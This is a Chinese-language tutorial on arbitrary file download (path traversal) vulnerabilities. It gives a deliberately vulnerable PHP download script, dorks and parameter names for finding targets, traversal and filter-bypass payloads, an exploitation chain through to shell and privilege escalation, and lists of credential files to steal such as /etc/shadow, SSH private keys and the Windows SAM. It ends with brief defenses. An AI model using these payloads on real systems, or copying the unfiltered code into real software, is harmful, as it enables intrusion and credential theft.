一丶漏洞原理
文件下載(一些網站由於業務需求,往往需要提供文件查看或文件下載功能,但若對用戶查看或下載的文件不做限制,則惡意用戶就能夠查看或下載任意敏感文件,這就是文件查看與下載漏洞。)
任意文件下載漏洞,正常的利用手段是下載服務器文件,如腳本代碼,服務器配置或者是系統配置等等。但是有的時候我們可能根本不知道網站所處的環境,以及網站的路徑,這時候我們只能利用./ ../來逐層猜測路徑,讓漏洞利用變得繁瑣。
此時如果 攻擊者提交的不是一個程序預期的的文件名,而是一個精心構造的路徑(如../../../etc/passwd),則很有可能會直接將該指定的文件下載下來。 從而導致后台敏感信息(密碼文件、源代碼等)被下載。
所以,在設計文件下載功能時,如果下載的目標文件是由前端傳進來的,則一定要對傳進來的文件進行安全考慮。
如下代碼一個正常的網站,存在一個下載文件的功能,同時還會從瀏覽器接收文件名字,將存在任意文件下載漏洞。
<?php
$filename = $_GET['filename'];
echo '<h1>講開始下載文件!</h1><br /><br />';
echo file_get_contents($filename); //無過濾導致漏洞函數 file_get_contents 函數把整個文件讀入一個字符串中並輸出
header('Content-Type: imgage/jpeg');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Lengh: '.filesize($filename));
?>
二丶漏洞發現
如何發現(網站URL中存在下載參數,並且未進行過濾../../../字符,且輸出了文件內容)
1.Google search
利用inurl:"readfile.php?file="
2.從鏈接上看,形如:
• download.php?path=
• download.php?file=
• down.php?file=
• data.php?file=
• readfile.php?file=
• read.php?filename=
3.從參數名看,形如:
• &RealPath=
• &FilePath=
• &filepath=
• &Filepath=
• &Path=
• &path=
• &inputFile=
• &Inputfile=
• &url=
• &urls=
• &Lang=
• &dis=
• &data=
• &Data=
• &readfile=
• &filep=
• &src=
• &menu=
• META-INF
• WEB-INF
4. index.php?f=../../../../../../etc/passwd
index.php?f=../index.php
index.php?f=file:///etc/passwd
readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00(00截斷)
注:當參數f的參數值為php文件時,若是文件被解析則是文件包含漏洞,
若顯示源碼或提示下載則是文件查看與下載漏洞
三丶漏洞繞過
1.若過濾字符或字母可嘗試編碼繞過
2.利用 ../../
but有些代碼會進行過濾(具體要根據代碼進行測試),會把 ../ 置空
利用....// 代替 ../
利用..// 代替 /
具體怎么繞過還是得看代碼是怎么寫的
3.
注意
①.注意 ../ 的數量,他代表查詢目錄父目錄的數量
②.當我們遇到一個任意文件下載漏洞時首先要注意下載的權限問題。因為權限決定我們能下載的文件范圍。
③.有些網站(主要是針對系統)並不會在URL里顯示給你看,這時候你需要抓包,從數據包里修改路徑,達到任意文件讀取。
四丶漏洞利用
利用:(信息收集信息>猜路徑 >>下載配置文件/代碼文件 >> 利用服務器軟件漏洞> shell> 提權)
1.任意文件下載漏洞的利用主要是為了信息收集,我們通過對服務器配置文件的下載,獲取到大量的配置信息、源碼,從而根據獲取的信息來進一步挖掘服務器漏洞從而入侵。
2.下載常規的配置文件,例如: ssh,weblogic,ftp,mysql等相關配置
下載各種.log文件,從中尋找一些后台地址,文件上傳點之類的地方,如果運氣好的話會獲得一些前輩們的后門。
下載web業務文件進行白盒審計,利用漏洞進一步攻入服務器
3.Windows:(windows的這些路徑不一定都存在)
C:\boot.ini //查看系統版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存儲系統初次安裝的密碼
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系統的一個基本系統配置文件
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //記錄每個訪問計算機用戶的公鑰
/etc/passwd
/etc/shadow
/usr/local/app/php5/lib/php.ini //PHP配置文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用戶歷史命令記錄文件
/root/.mysql_history //mysql歷史命令記錄文件
/proc/mounts //記錄系統掛載設備
/porc/config.gz //內核配置文件
/var/lib/mlocate/mlocate.db //全文件路徑
/porc/self/cmdline //當前進程的cmdline參數
五丶漏洞防護
- 過濾.(點),使用戶在url中不能回溯上級目錄
- 正則嚴格判斷用戶輸入參數的格式
- php.ini配置open_basedir限定文件訪問范圍